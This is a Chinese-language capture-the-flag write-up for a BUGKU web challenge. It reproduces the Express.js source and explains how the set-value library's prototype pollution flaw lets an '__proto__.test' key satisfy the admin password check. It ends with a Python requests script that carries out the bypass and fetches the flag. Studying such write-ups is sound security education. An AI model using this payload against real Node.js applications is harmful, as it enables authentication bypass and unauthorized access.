启动场景要金币,就不截图了,直接上源码(源码是扫描目录扫出来的):
var express = require('express');
const setFn = require('set-value');
var router = express.Router();
const Admin = {
"password":process.env.password?process.env.password:"password"
}
router.post("/getflag", function (req, res, next) {
if (req.body.password === undefined || req.body.password === req.session.challenger.password){
res.send("登录失败");
}else{
if(req.session.challenger.age > 79){
res.send("糟老头子坏滴很");
}
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag ? process.env.flag : "flag{test}");
}else {
res.send("密码错误,请使用管理员用户名登录.");
}
}
});
router.get('/reg', function (req, res, next) {
req.session.challenger = {
"username": "user",
"password": "pass",
"age": 80
}
res.send("用户创建成功!");
});
router.get('/', function (req, res, next) {
res.redirect('index');
});
router.get('/index', function (req, res, next) {
res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');
});
router.post("/update", function (req, res, next) {
if(req.session.challenger === undefined){
res.redirect('/reg');
}else{
if (req.body.attrkey === undefined || req.body.attrval === undefined) {
res.send("传参有误");
}else {
let key = req.body.attrkey.toString();
let value = req.body.attrval.toString();
setFn(req.session.challenger, key, value);
res.send("修改成功");
}
}
});
module.exports = router;
先来分析下流程:
- 进入网站,点击注册,跳转至/reg
- 创建一个用户,保存在
req.session.challenger
中 - 通过/update可以修改
req.session.challenger
中任意键值的任意属性 - /getflag经过一系列验证,如果正确则弹出输出flag
那么接下来主要看getflag的验证:
第一步:
if (req.body.password === undefined ||
req.body.password === req.session.challenger.password){
res.send("登录失败");
}
req.body.password
指的是post请求中的表单项,要求不能等于/reg时的密码,这个简单,提交个不一样的密码就行
第二步:
if(req.session.challenger.age > 79){
res.send("糟老头子坏滴很");
}
这个本来我以为是没什么问题,但是有时候题目环境不同时,res.send()
之后就不会执行代码了,所以这个也需要绕过,使用/update修改age即可
第三步:
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag ? process.env.flag : "flag{test}");
}
要求Admin的键key的值强等于password,此时Admin的内容是:
const Admin = {
"password":process.env.password?process.env.password:"password"
}
题目环境中,process.env.password肯定是存在的,但是值我们不清楚。
经过一番搜索,发现在setFn
函数中存在一个JS原型链污染漏洞。
看一下他的例子:
const obj = {};
set(obj, 'a.b.c', 'd');
console.log(obj);
//=> { a: { b: { c: 'd' } } }
通过识别由”.”连接起来的属性,来将其赋值到对应的对象中。
而对象中有个特殊的属性__proto__
,这个东西是什么呢:
《JavaScript权威指南》 Every JavaScript object has a second JavaScript object (or null , but this is rare) associated with it. This second object is known as a prototype, and the first object inherits properties from the prototype.
翻译过来就是
每一个JavaScript对象都有第二个JavaScript对象(或空,但这种情况很少)与之相关联。这第二个对象被称为原型,第一个对象继承原型的属性。
也就是说在原型上定义的属性或者方法,都会被其他对象继承。
现在有漏洞,知道原型链,就简单了。
payload:
import requests
session = requests.session()
url = 'http://url/'
# 通过update修改age的大小
json0={
"attrkey":"age",
"attrval":60
}
# setFn函数在Object对象上写入属性test,值也是test
json1 = {
"attrkey" : "__proto__.test",
"attrval": "test"
}
# getflag通过键名的方式取出来位于原型上的属性,也就是json1的test属性,与password比较
json2 = {
"key" : "test",
"password" : "test"
}
session.get(url+'reg')
session.post(url+'update', json=json0)
session.post(url+'update', json=json1)
print(session.post(url+'getflag', json=json2).text)